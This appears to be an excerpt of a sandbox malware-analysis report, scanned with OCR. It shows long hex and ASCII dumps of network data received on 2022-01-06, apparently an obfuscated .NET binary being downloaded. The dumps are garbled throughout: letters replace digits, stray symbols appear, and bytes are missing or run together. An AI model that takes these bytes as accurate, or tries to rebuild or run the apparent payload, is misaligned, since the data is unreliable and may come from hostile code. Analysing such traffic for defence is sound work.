Data Raw: 00 00 00 07 17 58 Ob 16 13 07 16 13 08 38 77 01 00 00 11 08 09 5d 13 09 11 08 1a 5a 13 Oa 11 09 1a 5a 13
07031107 195891 1f 18 62 03 11 07 18 58 91 1f 10 62 60 03 11 07 17 58 91 1e 62 60 03 11 07 91 60 13 05 20 ff 00 00
0013 0b 16 13 Oc 11 08 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00
0000 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d
06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60
051107 175891 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 9f 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 O
006 16 3e 49 00 00 00 11 04 11 06 61 13 Oe 16 13 0f 38 2d 00 00

Data Ascii: X8W]ZZXbXb'Xb™" Y @I>BX8#>biXY X?8.XXbXb Xb™ %(XY@P>la8-

Data Raw: 26 00 fe Oc 26 00 fe Oc 26 00 fe Oc 26 00 59 61 fe Oe 2b 00 fe Oc 28 00 fe Oc 28 00 1f 19 62 61 fe Oe 28 00 fe Oc
28 00 fe Oc 29 00 58 fe Oe 28 00 fe Oc 28 00 fe Oc 28 00 1d 62 61 fe Oe 28 00 fe Oc 28 00 fe Oc 2a 00 58 fe Oe 28 00 fe Oc
28 00 fe Oc 28 00 1f 0d 64 61 fe Oe 28 00 fe Oc 28 00 fe Oc 2b 00 58 fe Oe 28 00 fe Oc 29 00 1b 62 fe Oc 29 00 58 fe Oc 29
00 61 fe Oc 28 00 58 fe Oe 28 00 fe Oc 28 00 76 6¢ 6d 58 13 09 11 Oe 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00
110911 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e Oc 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f
11145811 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 Oa 61
131511 08 11 0f 11 15 20 ff 00 00 00 5f d2

Data Ascii: &&&&Ya+((ba(()X(((ba((*X(((da((+X()b)X)a(X((vImXY@S>Ka8.>bXX__dX?8Ma _

Data Raw: 04 8e 69 1f 40 7f 6f 00 00 04 28 ae 00 00 06 26 16 2a 06 28 65 00 00 Oa 18 5a 11 04 28 6b 00 00 Oa 06 28 65
0000 0Oa 19 5a 09 7b 72 00 00 04 8e 69 28 6¢ 00 00 Oa 16 13 05 05 20 7d 1d ea Oc 40 0a 00 00 00 7e 5c 00 00 04 39 19
00 00 00 7e 4f 00 00 04 02 03 04 05 Oe 04 Oe 05 6f 2e 01 00 06 13 05 38 06 00 00 00 17 80 5¢c 00 00 04 11 05 2a 7e 4f 00
00 04 02 03 04 05 Oe 04 Oe 05 6f 2e 01 00 06 2a 00 00 00 Oa 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00
00 Oa dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 Ob Ob 00 06 0a 00 00 01 13 30 07 00 53 00 00
00 00 00 00 00 d0 51 00 00 01 28 23 00 00 Oa 72 Oa Oc 00 70 18 8d 24 00 00 01 25 16 dO 14 00 00 01 28 23 00 00 Oa a2
2517 d0 24 00 00 01 28 23 00 00 Oa a2 28 6d 00 00 Oa 14 18 8d Oa 00

Data Ascii: i@o(&*(eZ(k(eZ{ri(l }@~\9~00.8\*~00.**0(*&*0SQ(#rp$% (#%$(#(m
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Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 10 IN Data Raw: 7f 1e 00 00 01 2b 00 00 ac 1f 00 00 1b 3f 00 00 e2 49 00 00 84 29 00 00 8c 40 00 00 02 05 00 00 12 41 00 00
al 01 00 00 85 47 00 00 83 18 00 00 38 34 00 00 dc 17 00 00 2a 2a 00 00 19 18 00 00 6f 3f 00 00 66 31 00 00 c8 58 00 00
72 4f 00 00 48 4a 00 00 45 38 00 00 7e 35 00 00 b5 29 00 00 f2 38 00 00 c2 11 00 00 2e 1a 00 00 3e 20 00 00 cO 30 00 00
2a 22 00 00 14 37 00 00 1d 3c 00 00 43 55 00 00 85 45 00 00 8¢ 13 00 00 c2 1e 00 00 b6 51 00 00 17 13 00 00 21 02 00
00 3d 05 00 00 df 43 00 00 8b 1d 00 00 8f 21 00 00 00 32 00 00 83 3¢ 00 00 01 46 00 00 54 54 00 00 11 10 00 00 e2 2a
00 00 f9 01 00 00 23 21 00 00 5d 14 00 00 42 17 00 00 5d 48 00 00 1d 12 00 00 62 25 00 00 95 20 00 00 3c 45 00 00 cb 2
7 00 00 3c 5b 00 00 f8 18 00 00 e4 54 00 00 08 57 00 00 55 27 00
Data Ascii: +?)@AG84**0?f1XrOHJE8~5)8.> 0*"7<CUEQ!=C!2<FTT*#!]B]Hb% <E'<[TWU'

2022-01-06 07:09:08 UTC 11 IN Data Raw: 3e 00 00 91 44 00 00 3¢ 2e 00 00 a2 11 00 00 25 11 00 00 64 2a 00 00 68 2d 00 00 ce 52 00 00 28 5c 00 00 b4
13 00 00 bc 2f 00 00 2f 41 00 00 1a 57 00 00 d9 51 00 00 2e 1f 00 00 97 2e 00 00 01 4b 00 00 ¢5 17 00 00 04 21 00 00 c3
59 00 00 89 3e 00 00 67 1e 00 00 70 18 00 00 9c 38 00 00 c4 04 00 00 10 19 00 00 21 30 00 00 99 28 00 00 1c 27 00 00
9 2f 00 00 35 55 00 00 af 02 00 00 ed 05 00 00 8 12 00 00 f8 10 00 00 63 06 00 00 ad 09 00 00 ce 09 00 00 41 07 00 00
ff 14 00 00 58 12 00 00 55 35 00 00 5a 4f 00 00 e4 45 00 00 6¢ 1d 00 00 €9 06 00 00 ba 47 00 00 59 2e 00 00 ff 23 00 00
33 4400 00 aa 56 00 00 84 2f 00 00 18 1f 00 00 57 18 00 00 15 1d 00 00 1 21 00 00 9¢ 29 00 00 57 2f 00 00 6 41 00 00
2f 4a 00 00 fa 30 00 00 d7 22 00 00 7b 5a 00 00 e6 19 00 00
Data Ascii: >D<.%d*h-R(V/AWQ..K1Y>gp8I0(/5UcAXU5ZOEIGY.#3DV/W!)W/A/JO'{Z

2022-01-06 07:09:08 UTC 12 IN Data Raw: 28 fc 00 00 06 13 62 20 0d 02 00 00 38 1c f1 ff ff fe Oc 16 00 20 18 00 00 00 20 b1 00 00 00 20 3b 00 00 00 59
9c 20 ¢9 01 00 00 28 1d 01 00 06 39 f8 fO ff ff 26 20 b6 01 00 00 38 ed 10 ff ff fe Oc 16 00 20 01 00 00 00 fe Oc 6 00 Ic 20
2201 00 00 28 1d 01 00 06 3a do f0 ff f 26 20 ff 01 00 00 38 c5 f0 ff ff 38 7d 52 00 00 20 ef 00 00 00 28 1c 01 00 06 39 b1
0 ff ff 26 20 bb 01 00 00 38 a6 fO ff ff fe Oc 16 00 20 11 00 00 00 20 €9 00 00 00 20 4d 00 00 00 59 9¢ 20 1b 02 00 00 38
87 10 ff ff fe Oc 2f 00 20 01 00 00 00 20 16 00 00 00 20 4c 00 00 00 58 9c 20 94 01 00 00 38 68 f0 ff ff fe Oc 16 00 20 07 00
00 00 20 7b 00 00 00 20 25 00 00 00 59 9c 20 70 02 00 00 38 49 fO ff ff 11 19 28 f9 00 00 06 20 a7 02 00 00 38 38 f0 ff f
11 3b 1b 11 3e 18 91 9c 20 86
Data Ascii: (08 ;Y (9& 8 n "(:& 88}R (9& 8 MY 8/ LX 8h { %Y p8I( 88;>

2022-01-06 07:09:08 UTC 14 IN Data Raw: 08 00 00 20 Oc 01 00 00 38 c7 eb ff ff 20 45 00 00 00 20 4d 00 00 00 58 fe Oe 5f 00 20 34 00 00 00 28 1c 01 00
06 39 a9 eb ff ff 26 20 1b 01 00 00 38 9e eb ff ff 11 3b 28 €9 00 00 06 20 7c 00 00 00 28 1d 01 00 06 3a 88 eb ff ff 26 20
a6 00 00 00 38 7d eb ff ff 11 05 1d 1f 64 9¢ 20 bc 00 00 00 38 6d eb ff ff fe Oc 16 00 20 0f 00 00 00 20 7c 00 00 00 20 73
00 00 00 58 9c 20 d2 00 00 00 38 4e eb ff ff fe Oc 2f 00 20 03 00 00 00 fe Oc 5f 00 9c 20 93 01 00 00 38 36 eb ff ff 7e Oa 00
00 Oa 11 2b 8e 69 20 00 10 00 00 1f 40 28 1a 01 00 06 13 44 20 d9 00 00 00 fe Oe 4e 00 38 0d eb ff ff fe Oc 16 00 20 19 00
00 00 fe Oc 6e 00 9c 20 90 00 00 00 38 f9 ea ff ff fe Oc 16 00 20 05 00 00 00 20 b5 00 00 00 20 3c 00 00 00 59 9¢ 20 80 00
00 00 38 da ea ff ff 38 9f ff ff ff
Data Ascii: 8 E MX_ 4(9& 8;(|(:& 8}d 8m | sX 8N/ _86~+i @(DN8n8 <Y 88

2022-01-06 07:09:08 UTC 15 IN Data Raw: ff ff 11 1d 7f 67 00 00 04 28 74 00 00 Oa 28 15 01 00 06 16 1e 28 f5 00 00 06 20 Oa 00 00 00 38 b4 fc ff ff 11 04
6f 72 00 00 Oa 6f 75 00 00 Oa 72 ae Oc 00 70 28 da 00 00 06 3a 42 fd ff ff 20 09 00 00 00 28 1c 01 00 06 3a 8a fc ff ff 26
20 02 00 00 00 38 7f fc ff ff 38 dO fc ff ff 20 Ob 00 00 00 28 1c 01 00 06 3a 6b fc ff ff 26 20 09 00 00 00 38 60 fc ff ff 11 1d
16 6a 28 6 00 00 06 20 03 00 00 00 38 4d fc ff ff 11 1d 28 f8 00 00 06 20 02 00 00 00 38 3c fc ff ff 16 13 Of 20 06 00 00 00
38 2f fc ff ff 11 1d 28 f7 00 00 06 13 6a 20 0d 00 00 00 38 1c fc ff ff 73 76 00 00 Oa 13 1d 20 12 00 00 00 fe Oe 02 00 38 03
fc ff ff dd 7d 11 00 00 26 20 00 00 00 00 28 1d 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 01 00 45 01
00 00 00 05 00 00 00 38
Data Ascii: g(t(( 8orourp(:B (:& 88 (:k& 8j( 8M( 8< 8/(j 8sv 8}& (:& 8E8

2022-01-06 07:09:08 UTC 16 IN Data Raw: 00 20 14 00 00 00 20 92 00 00 00 20 30 00 00 00 59 9¢ 20 c6 01 00 00 38 06 el ff ff fe Oc 2f 00 20 07 00 00 00
fe Oc 5f 00 9¢ 20 b5 01 00 00 38 ee €0 ff ff fe Oc 16 00 20 Ob 00 00 00 20 0f 00 00 00 20 74 00 00 00 58 9c¢ 20 8d 00 00 00
28 1c 01 00 06 39 ca eO ff ff 26 20 a0 00 00 00 38 bf e0 ff ff 20 47 00 00 00 20 42 00 00 00 59 fe Oe 6e 00 20 46 01 00 00
28 1c 01 00 06 3a al eO ff ff 26 20 64 00 00 00 38 96 €0 ff ff 11 19 28 f1 00 00 06 26 20 30 00 00 00 28 1d 01 00 06 39 7f
€0 ff ff 26 20 1e 00 00 00 38 74 €O ff ff fe Oc 2f 00 20 05 00 00 00 fe Oc 5f 00 9¢ 20 5¢ 01 00 00 28 1c 01 00 06 39 57 €0 ff fi
2620 77 01 00 00 38 4c €0 ff ff fe Oc 16 00 20 00 00 00 00 20 bf 00 00 00 20 3f 00 00 00 59 9¢ 20 57 01 00 00 28 1c 01 00
06 3a 28 e0 ff ff 26 20 cc 00 00
Data Ascii: 0Y 8/_8 tX(9& 8 G BYn F(:& d8(& 0(9& 8t/ _ \(OW& w8L ?Y W(:(&

2022-01-06 07:09:08 UTC 18 IN Data Raw: 5a €0 73 73 00 00 Oa 16 16 6a 28 c8 00 00 06 20 1e 00 00 00 28 1c 01 00 06 3a ab db ff ff 26 20 1b 00 00 00
38 a0 db ff ff 20 30 00 00 00 20 26 00 00 00 58 fe Oe 6e 00 20 7e 01 00 00 28 1d 01 00 06 3a 82 db ff ff 26 20 39 02 00 00
38 77 db ff ff 11 3e 8e 39 9c 06 00 00 20 09 00 00 00 38 65 db ff ff 38 69 22 00 00 20 98 00 00 00 38 56 db ff ff 20 9a 00
00 00 20 33 00 00 00 59 fe Oe 6e 00 20 ac 00 00 00 38 3d db ff ff 11 05 1c 1f 2e 9c 20 36 02 00 00 28 1d 01 00 06 3a 28
db ff ff 26 20 82 02 00 00 38 1d db ff ff d0 29 00 00 02 28 01 01 00 06 6f 24 00 00 Oa 28 Oc 01 00 06 28 10 01 00 06 8e 69
18 40 56 €9 ff ff 20 80 01 00 00 28 1c 01 00 06 3a ed da ff ff 26 20 02 00 00 00 38 e2 da ff ff 11 70 8e 69 39 38 3¢ 00 00
20 63 02 00 00 28 1d 01 00 06 39 ca da ff ff
Data Ascii: Zssj( (:& 8 0 &Xn ~(:& 98w>9 8e8i" 8V 3Yn 8=. 6(:(& 8)(0$((i@V (:& 8pi98< c(9

2022-01-06 07:09:08 UTC 19 IN Data Raw: 39 6b d6 ff ff 26 20 03 01 00 00 38 60 d6 ff ff 7e 47 00 00 04 28 ed 00 00 06 16 9a 28 ee 00 00 06 13 33 20 a2
01 00 00 28 1c 01 00 06 3a 3e d6 ff ff 26 20 77 01 00 00 38 33 d6 ff ff 11 3 16 11 3e 8e 69 28 ec 00 00 06 20 d7 00 00 00
38 1d d6 ff ff 11 5d 18 1f 74 9¢ 20 Ob 00 00 00 28 1d 01 00 06 3a 08 d6 ff ff 26 20 62 01 00 00 38 fd d5 ff ff fe Oc 16 00 20
06 00 00 00 fe Oc e 00 9c 20 47 02 00 00 38 e5 d5 ff ff fe Oc 16 00 20 14 00 00 00 fe Oc 6e 00 9c 20 48 00 00 00 28 1c 01
00 06 39 c8 d5 ff ff 26 20 55 02 00 00 38 bd d5 ff ff 11 0a 13 2c 20 78 01 00 00 28 1d 01 00 06 3a aa d5 ff ff 26 20 22 02
00 00 38 9f d5 ff ff fe Oc 2f 00 20 Oc 00 00 00 fe Oc 5f 00 9¢ 20 4a 00 00 00 28 1c 01 00 06 3a 82 d5 ff ff 26 20 35 00 00 00
38 77 d5 ff ff 20 f5 00 00 00 20
Data Ascii: 9k& 8'~G((3 (:>& w83>>i( 8]t (:& b8 n G8 n H(9& U8, x(:& "8/ _ J(:& 58w

2022-01-06 07:09:08 UTC 20 IN Data Raw: 00 20 01 00 00 00 58 9¢ 20 a3 00 00 00 28 1c 01 00 06 39 00 d1 ff ff 26 20 bf 00 00 00 38 f5 dO ff f 20 d1 00 00
00 20 27 00 00 00 58 fe Oe 6e 00 20 29 00 00 00 38 dc do ff ff fe Oc 16 00 20 OF 00 00 00 20 5e 00 00 00 20 6¢ 00 00 00 58
9¢ 20 57 00 00 00 38 bd dO ff ff 7e 5b 00 00 04 3a f2 dd ff ff 20 92 00 00 00 38 a9 dO ff ff fe Oc 16 00 20 14 00 00 00 fe Oc
6e 00 9c 20 40 01 00 00 38 91 dO ff ff fe Oc 16 00 20 10 00 00 00 20 61 00 00 00 20 3a 00 00 00 59 Ic 20 ee 00 00 00 38
72 dO ff f fe Oc 16 00 20 16 00 00 00 20 60 00 00 00 20 78 00 00 00 58 9c 20 cc 01 00 00 28 1c 01 00 06 39 4e dO ff ff 26
20 21 02 00 00 38 43 dO ff ff 11 05 1b 1f 6a 9c 20 99 00 00 00 fe Oe 4e 00 38 2b dO ff ff 20 65 00 00 00 20 2a 00 00 00 58 f
e Oe 6e 00 20 ec 00 00 00 38 16 d0
Data Ascii: X (9& 8 'Xn )8 ~IX W8~[: 8n @8 a:Y 8r * xX (IN& I8Cj N8+ e *Xn 8

2022-01-06 07:09:08 UTC 22 IN Data Raw: 01 00 06 13 4c 20 de 01 00 00 38 af cb ff ff 20 7c 00 00 00 20 00 00 00 00 58 fe Oe 5f 00 20 b0 01 00 00 38 96
cb ff ff 20 76 00 00 00 20 31 00 00 00 58 fe Oe 6e 00 20 40 00 00 00 38 7d cb ff ff fe Oc 16 00 20 16 00 00 00 fe Oc 6e 00
9c 20 fa 01 00 00 38 65 cb ff ff 11 19 11 1c 28 €8 00 00 06 13 74 20 62 00 00 00 28 1d 01 00 06 3a 4b cb ff ff 26 20 a8 00
00 00 38 40 cb ff ff 38 55 0d 00 00 20 3f 01 00 00 28 1d 01 00 06 39 2c cb ff ff 26 20 fe 00 00 00 38 21 cb ff ff 11 58 28 ff
00 00 06 26 20 el 01 00 00 38 Of cb ff ff fe Oc 16 00 20 1d 00 00 00 fe Oc 6e 00 9¢ 20 18 00 00 00 38 {7 ca ff ff 11 2e 17 58
13 2e 20 ff 00 00 00 38 e7 ca ff ff fe Oc 2f 00 20 Ob 00 00 00 fe Oc 5f 00 9c 20 42 01 00 00 38 cf ca ff ff 1f 09 13 14 20 6a 02
00 00 fe Oe 4e 00 38 b9 ca
Data Ascii: L 8 | X_ 8 v 1Xn @8} n 8e(t b(:K& 8@8U ?(9,& 8!X(& 8 n 8.X. 8/ _ B8 jN8
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Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 23 IN Data Raw: 00 28 1d 01 00 06 39 5a c6 ff ff 26 20 d0 00 00 00 38 4f c6 ff ff 38 a4 d4 ff ff 20 9c 00 00 00 28 1c 01 00 06 39
3b c6 ff ff 26 20 21 01 00 00 38 30 c6 ff ff 17 8d 16 00 00 01 16 1e 28 c9 00 00 06 17 28 ca 00 00 06 20 be 01 00 00 38 13
¢6 ff ff fe Oc 16 00 20 Of 00 00 00 20 21 00 00 00 20 78 00 00 00 58 9c 20 6¢ 00 00 00 38 f4 c5 ff ff 11 69 11 3¢ 1b 58 11
62 1b 91 9c 20 Ob 02 00 00 38 df c5 ff ff fe Oc 16 00 20 1f 00 00 00 fe Oc 6e 00 9¢ 20 ac 01 00 00 38 c7 c5 ff ff 20 38 00 00
00 20 08 00 00 00 58 fe Oe 6e 00 20 19 00 00 00 38 ae c5 ff ff 28 cb 00 00 06 20 48 01 00 00 28 1c 01 00 06 3a 9a c5 ff ff
26 20 f6 00 00 00 38 8f 5 ff ff 16 13 54 20 3f 00 00 00 38 82 c5 ff ff fe Oc 2f 00 20 05 00 00 00 fe Oc 5f 00 9¢ 20 31 02 00
00 38 6a c5 ff ff fe Oc 16 00
Data Ascii: (9Z& 808 (9;& 180(( 8 ! xX I8i<Xb 8 n 8 8 Xn 8( H(:& 8T 28/ _ 18]

2022-01-06 07:09:08 UTC 24 IN Data Raw: 00 00 20 ae 00 00 00 20 3a 00 00 00 59 9c 20 c5 01 00 00 38 4 cO ff ff 11 30 1e 58 13 30 20 97 01 00 00 38 e4
c0 ff ff 12 5a e0 73 73 00 00 Oa 16 28 c3 00 00 06 26 20 58 00 00 00 28 1d 01 00 06 3a c6 cO ff ff 26 20 d8 00 00 00 38 bb
cO ffff 11 19 28 f1 00 00 06 13 1c 20 1f 00 00 00 38 a8 cO ff ff fe Oc 16 00 20 1d 00 00 00 20 cd 00 00 00 20 44 00 00 00
59 9¢ 20 f1 00 00 00 28 1d 01 00 06 3a 84 cO ff ff 26 20 98 02 00 00 38 79 cO ff ff fe Oc 16 00 20 1e 00 00 00 fe Oc 6e 00
9c 20 37 00 00 00 38 61 cO ff ff 11 19 28 f1 00 00 06 13 06 20 8a 00 00 00 38 4e cO ff ff 11 19 28 f1 00 00 06 11 57 59 13
1320 9b 01 00 00 38 38 cO ff ff 20 dc 00 00 00 20 49 00 00 00 59 fe Oe 6e 00 20 dO 01 00 00 28 1d 01 00 06 3a 1a cO ff ff
26 20 4d 02 00 00 38 0f cO ff ff 20 a5
Data Ascii: :Y 80X0 8Zss(& X(:& 8(8 DY (:& 8y n 78a( 8N(WY 88 IYn (:& M8

2022-01-06 07:09:08 UTC 26 IN Data Raw: 00 e5 00 00 00 49 00 00 00 1f 00 00 00 38 b8 00 00 00 11 Oe 28 €2 00 00 06 3a ac 00 00 00 20 06 00 00 00 fe
0e 1b 00 38 bo ff ff ff 11 4c 11 22 28 ce 00 00 06 13 33 12 33 28 74 00 00 Oa 11 22 28 Ob 01 00 06 6a 58 3e c6 ff ff ff 20 04
00 00 00 38 8a ff ff ff 28 d1 00 00 06 20 07 00 00 00 38 7b ff ff ff dO 29 00 00 02 28 01 01 00 06 6f 24 00 00 Oa 28 Oc 01 00
06 14 28 0d 01 00 06 3a d2 ff ff ff 20 01 00 00 00 28 1d 01 00 06 39 4d ff ff ff 26 20 00 00 00 00 38 42 ff ff ff 11 22 28 d8 00
00 06 11 24 28 da 00 00 06 39 61 ff ff ff 20 05 00 00 00 38 25 ff ff ff 38 52 ff ff ff 20 08 00 00 00 38 16 ff ff ff 11 Oe 28 d7 00
00 06 74 53 00 00 01 13 22 20 02 00 00 00 28 1d 01 00 06 39 f9 fe f ff 26 20 01 00 00 00 38 ee fe ff ff dd 35 dd ff ff 20 03
00 00 00 38 df fe
Data Ascii: 18(: 8L"(33(t"(}X> 8( 8{)(0$((: (IM& 8B"($(9a 8%8R 8(tS" (9& 85 8

2022-01-06 07:09:08 UTC 27 IN Data Raw: 38 51 b6 ff ff 28 d2 00 00 06 1a 40 1f 05 00 00 20 a8 00 00 00 28 1d 01 00 06 3a 3b b6 ff ff 26 20 aa 01 00 00
38 30 b ff ff fe Oc 16 00 20 08 00 00 00 20 45 00 00 00 20 47 00 00 00 58 9c 20 a6 02 00 00 fe Oe 4e 00 38 09 b6 ff ff 20
97 00 00 00 20 32 00 00 00 59 fe Oe 6e 00 20 72 00 00 00 38 f4 b5 ff ff fe Oc 16 00 20 02 00 00 00 fe Oc 6e 00 9c 20 64 02
00 00 38 dc b5 ff ff 11 39 11 06 3f 21 e9 ff ff 20 34 00 00 00 38 c9 b5 ff ff 38 f1 e0 ff ff 20 3f 02 00 00 38 ba b5 ff ff 11 56 1le
62 13 56 20 79 01 00 00 28 1d 01 00 06 3a a5 b5 ff ff 26 20 Oe 02 00 00 38 9a b5 ff ff fe Oc 16 00 20 13 00 00 00 fe Oc 6e
00 9c 20 5b 00 00 00 fe Oe 4e 00 38 7a b5 ff ff 72 0a 0d 00 70 16 28 d3 00 00 06 14 28 d4 00 00 06 39 82 c5 ff ff 20 10 00
00 00 28 1d 01 00 06 3a 59 b5
Data Ascii: 8Q(@ (:;& 80 E GX N8 2Yn r8 n d897?! 488 ?8VbV y(:& 8 n [N8zrp((9 (:Y

2022-01-06 07:09:08 UTC 28 IN Data Raw: ff ff 12 5a e0 73 73 00 00 Oa 16 28 c5 00 00 06 26 20 f6 01 00 00 28 1d 01 00 06 3a el b0 ff ff 26 20 99 02 00
00 38 d6 bO ff ff 11 28 11 51 11 36 20 ff 00 00 00 5f d2 9c 20 3a 00 00 00 fe Oe 4e 00 38 b6 bO ff ff 14 13 62 20 5f 02 00 00
38 ad bo ff ff fe Oc 2f 00 20 04 00 00 00 20 5d 00 00 00 20 33 00 00 00 58 9¢ 20 51 01 00 00 38 8e b0 ff ff fe Oc 2f 00 20 0d
00 00 00 20 d2 00 00 00 20 46 00 00 00 59 9c 20 f1 00 00 00 28 1d 01 00 06 39 6a b0 ff ff 26 20 ae 00 00 00 38 5f b0 ff f
20 35 00 00 00 20 14 00 00 00 58 fe Oe 6e 00 20 e8 01 00 00 38 46 b0 ff ff 28 d1 00 00 06 20 97 00 00 00 28 1c 01 00 06
39 32 b0 ff ff 26 20 a4 00 00 00 38 27 b ff ff fe Oc 16 00 20 1b 00 00 00 fe Oc 6e 00 9¢ 20 25 02 00 00 38 Of bO ff ff fe Oc
16 00 20 15 00 00 00 20 51 00 00
Data Ascii: Zss(& (:& 8(Q6 _:N8b _8/ ]3X Q8/ FY (9j& 8_5 Xn 8F((92& 8'n %8 Q

2022-01-06 07:09:08 UTC 30 IN Data Raw: a4 ab ff ff 20 84 00 00 00 20 53 00 00 00 59 fe Oe 6e 00 20 71 01 00 00 38 8b ab ff ff 12 5e 16 7d 71 00 00 04
20 76 00 00 00 28 1c 01 00 06 3a 74 ab ff ff 26 20 03 00 00 00 38 69 ab ff ff 38 cf 07 00 00 20 4¢ 01 00 00 38 5a ab ff ff 11
69 11 14 18 58 11 62 18 91 9c 20 aa 02 00 00 38 45 ab ff ff 20 18 00 00 00 20 67 00 00 00 58 fe Oe 6e 00 20 74 00 00 00
28 1d 01 00 06 3a 27 ab ff ff 26 20 66 02 00 00 38 1c ab ff ff 20 f7 00 00 00 20 52 00 00 00 59 fe Oe 6e 00 20 77 02 00 00
38 03 ab ff ff fe Oc 2f 00 20 05 00 00 00 fe Oc 5f 00 9c 20 46 02 00 00 38 eb aa ff ff 20 d7 00 00 00 20 47 00 00 00 59 fe Oe
6e 00 20 96 01 00 00 28 1d 01 00 06 39 cd aa ff ff 26 20 1a 01 00 00 38 c2 aa ff ff fe Oc 16 00 20 07 00 00 00 20 4d 00 00
00 20 Oe 00 00 00 58 9¢ 20 11 02 00
Data Ascii:  SYn q8}q v(:t& 8i8 L8ZiXb 8E gXnt(:'&f8 RYnw8/_F8 GYn (9&8 M X

2022-01-06 07:09:08 UTC 31 IN Data Raw: 01 00 00 38 47 a6 ff ff fe Oc 16 00 20 06 00 00 00 fe Oc 6e 00 9¢ 20 27 01 00 00 28 1c 01 00 06 3a 2a a6 ff ff 26
20 1¢ 00 00 00 38 1f a6 ff ff 20 a2 00 00 00 20 36 00 00 00 59 fe Oe 5f 00 20 6b 00 00 00 38 06 a6 ff ff 11 69 11 14 18 58
11 3d 18 91 9c 20 25 01 00 00 38 f1 a5 ff ff fe Oc 16 00 20 10 00 00 00 fe Oc 6e 00 9c 20 4d 01 00 00 38 d9 a5 ff ff fe Oc 16
00 20 1a 00 00 00 20 f5 00 00 00 20 51 00 00 00 59 9¢ 20 f6 00 00 00 fe Oe 4e 00 38 b2 a5 ff ff fe Oc 16 00 20 19 00 00 00
fe Oc 6 00 9c 20 30 01 00 00 38 9e a5 ff ff 7e 47 00 00 04 28 ef 00 00 06 28 f0 00 00 06 39 38 b7 ff ff 20 68 00 00 00 38 8
0 a5 ff ff 1f 1e 8d 16 00 00 01 25 d0 Oa 01 00 04 28 19 01 00 06 13 2b 20 3a 00 00 00 28 1d 01 00 06 3a 5d a5 ff ff 26 20
2 00 00 00 38 52 a5 ff ff fe Oc
Data Ascii: 8G n ‘(*& 8 6Y_k8iX=%8nM8 QY N8 n 08~G((98 h8%(+ :(]& 8R

2022-01-06 07:09:08 UTC 32 IN Data Raw: 3a el al ff ff 26 20 43 01 00 00 38 d6 al ff ff 20 29 00 00 00 20 1d 00 00 00 58 fe Oe 6e 00 20 01 02 00 00 38
bd ad ff ff 1f 12 13 3¢ 20 53 00 00 00 28 1d 01 00 06 39 aa al ff ff 26 20 06 00 00 00 38 9f a1 ff ff 38 17 cd ff ff 20 45 01 00
00 28 1c 01 00 06 39 8b al ff ff 26 20 69 01 00 00 38 80 al ff ff fe Oc 16 00 20 10 00 00 00 fe Oc 6e 00 9c 20 Of 01 00 00
38 68 al ff ff fe Oc 16 00 20 1b 00 00 00 20 63 00 00 00 20 6b 00 00 00 58 9c 20 10 00 00 00 28 1d 01 00 06 3a 44 al ff ff
26 20 9a 02 00 00 38 39 al ff ff 20 92 00 00 00 20 30 00 00 00 59 fe Oe 6e 00 20 b3 00 00 00 28 1c 01 00 06 3a 1b al ff ff
26 20 50 00 00 00 38 10 al ff ff 20 7b 00 00 00 20 5a 00 00 00 58 fe Oe 5f 00 20 Oa 02 00 00 38 {7 a0 ff ff 20 19 00 00 00
20 66 00 00 00 58 fe Oe 6e 00 20
Data Ascii: :& C8 ) Xn 8< S(9& 88 E(9& i8 n 8h c kX (:D& 89 0Yn (:&18 { ZX_8 fXn

2022-01-06 07:09:08 UTC 33 IN Data Raw: 20 33 00 00 00 38 83 9c ff ff 20 d1 00 00 00 20 68 00 00 00 59 fe Oe 6e 00 20 5a 02 00 00 38 6a 9c ff ff fe Oc 16
00 20 1b 00 00 00 fe Oc 6e 00 9c 20 5f 00 00 00 28 1d 01 00 06 3a 4d 9c ff ff 26 20 37 01 00 00 38 42 I ff ff fe Oc 2f 00 20
0c 00 00 00 20 f3 00 00 00 20 51 00 00 00 59 9¢ 20 92 02 00 00 38 23 Ic ff ff fe Oc 2f 00 20 Of 00 00 00 20 12 00 00 00 20
3200 00 00 58 9¢ 20 67 00 00 00 28 1c 01 00 06 39 ff 9b ff ff 26 20 4a 01 00 00 38 f4 9b ff ff fe Oc 2f 00 20 03 00 00 00 fe
0c 5f 00 9c 20 6d 02 00 00 38 dc 9b ff ff fe Oc 16 00 20 05 00 00 00 20 fc 00 00 00 20 54 00 00 00 59 9¢ 20 77 00 00 00 28
1d 01 00 06 3a b8 9b f ff 26 20 c6 00 00 00 38 ad 9b ff ff 28 d2 00 00 06 1a 3b 22 f6 ff ff 20 5¢ 00 00 00 28 1d 01 00 06 3a
93 9b ff f 26 20 7 02 00
Data Ascii: 38 hYn Z8jn _(:M&78B/ QY 8# 2X g(9&J8/_m8 TY w(:& 8(;"\(:&

2022-01-06 07:09:08 UTC 35 IN Data Raw: 00 00 dd 43 00 00 5b 02 00 00 38 46 00 00 32 00 00 00 Oa 00 00 01 02 00 00 00 8a 47 00 00 d4 00 00 00 5e
48 00 00 97 00 00 00 00 00 00 00 00 00 00 00 4b 47 00 00 c9 01 00 00 14 49 00 00 32 00 00 00 Oa 00 00 01 00 00 00 00
d3 3d 00 00 87 00 00 00 5a 3e 00 00 32 00 00 00 Oa 00 00 01 00 00 00 00 50 3d 00 00 51 00 00 00 al 3d 00 00 Oa 01 00
